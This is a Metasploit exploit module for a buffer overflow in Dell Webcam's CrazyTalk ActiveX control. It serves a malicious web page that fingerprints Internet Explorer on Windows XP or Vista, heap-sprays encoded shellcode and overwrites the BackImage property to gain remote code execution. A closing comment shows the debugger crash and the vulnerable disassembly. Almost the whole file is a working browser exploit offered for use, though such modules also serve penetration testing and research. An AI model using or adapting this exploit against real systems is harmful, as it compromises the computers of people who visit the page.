##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "Dell Webcam CrazyTalk ActiveX BackImage Vulnerability",
        'Description' => %q{
          This module exploits a vulnerability in Dell Webcam's CrazyTalk component.
          Specifically, when supplying a long string for a file path to the BackImage
          property, an overflow may occur after checking certain file extension names,
          resulting in remote code execution under the context of the user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'rgod', # Discovery, PoC
          'sinn3r' # Metasploit
        ],
        'References' => [
          [ 'URL', 'http://www.dell.com/support/drivers/us/en/04/DriverDetails/DriverFileFormats?c=us&l=en&s=bsd&cs=04&DriverId=R230103' ],
          [ 'EDB', '18621' ],
          [ 'OSVDB', '80205']
        ],
        'Payload' => {
          'BadChars' => "\x00",
          'StackAdjustment' => -3500
        },
        'DefaultOptions' => {
          'EXITFUNC' => "seh",
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Automatic', {} ],
          [ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600' } ],
          [ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600' } ],
          [ 'IE 7 on Windows Vista', { 'Offset' => '0x600' } ]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2012-03-19',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def get_target(agent)
    # If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  # IE 6 on Windows XP SP3
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[2]  # IE 7 on Windows XP SP3
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
      return targets[3]  # IE 7 on Windows Vista
    else
      return nil
    end
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    print_status("Target set: #{my_target.name}")

    p = payload.encoded
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c" * 4, Rex::Arch.endian(target.arch))
    randnop = rand_text_alpha(rand(100) + 1)

    js = <<-JS
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var #{randnop} = "#{js_nops}";
    var nops = unescape(#{randnop});

    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{my_target['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);

    heap_obj.gc();

    for (var i=1; i < 0x300; i++) {
      heap_obj.alloc(block);
    }
    JS

    js = heaplib(js, { :noobfu => true })

    html = <<-EOS
    <html>
    <head>
    <script>
    #{js}
    </script>
    </head>
    <body>
    <object classid='clsid:13149882-F480-4F6B-8C6A-0764F75B99ED' id='target'></object>
    <script>
    var arg = "\x0c";
    while (arg.length < 2000) arg += arg;
    target.BackImage = arg.substring(0, 2000);
    </script>
    </html>
    EOS

    print_status("Sending HTML")
    send_response(cli, html, { 'Content-Type' => 'text/html' })
  end
end

=begin
The tmp path has the username that we cannot accurately control remotely, so there's
no point to try to overwrite the stack precisely.

targetFile = "C:\PROGRA~1\COMMON~1\REALLU~1\CTPLAY~1\CRAZYT~1.OCX"
prototype  = "Invoke_Unknown BackImage As String"
memberName = "BackImage"
progid     = "CRAZYTALK4Lib.CrazyTalk4"
argCount   = 1

(d4c.d9c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=10005970 ecx=0000b3a0 edx=020bf34f esi=03422f98 edi=020bf5ac
eip=41414141 esp=020bf33c ebp=020bf390 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
<Unloaded_Ed20.dll>+0x41414140:
41414141 ??              ???

======

.text:03854F59 lea     ecx, [esp+33Ch+Str1]
.text:03854F5D push    offset a_asp    ; ".asp"
.text:03854F62 push    ecx             ; Str1
.text:03854F63 mov     [esp+344h+var_308], 0
.text:03854F68 call    ebx ; _stricmp           <-- Nope

.text:03854F71 lea     edx, [esp+328h+Str1]
.text:03854F75 push    offset a_php    ; ".php"
.text:03854F7A push    edx             ; Str1
.text:03854F7B call    ebx ; _stricmp           <--- Still nope

.text:03854F84 mov     ebx, [esp+328h+Dest]
.text:03854F8B lea     eax, [esp+328h+Str1]
.text:03854F8F lea     ecx, [esp+328h+Filename]
.text:03854F96 push    eax
.text:03854F97 add     esi, 3B44h
.text:03854F9D push    ecx
.text:03854F9E push    esi
.text:03854F9F push    offset aSSS     ; "%s%s%s"
.text:03854FA4 push    ebx             ; Dest
.text:03854FA5 call    ds:sprintf
=end
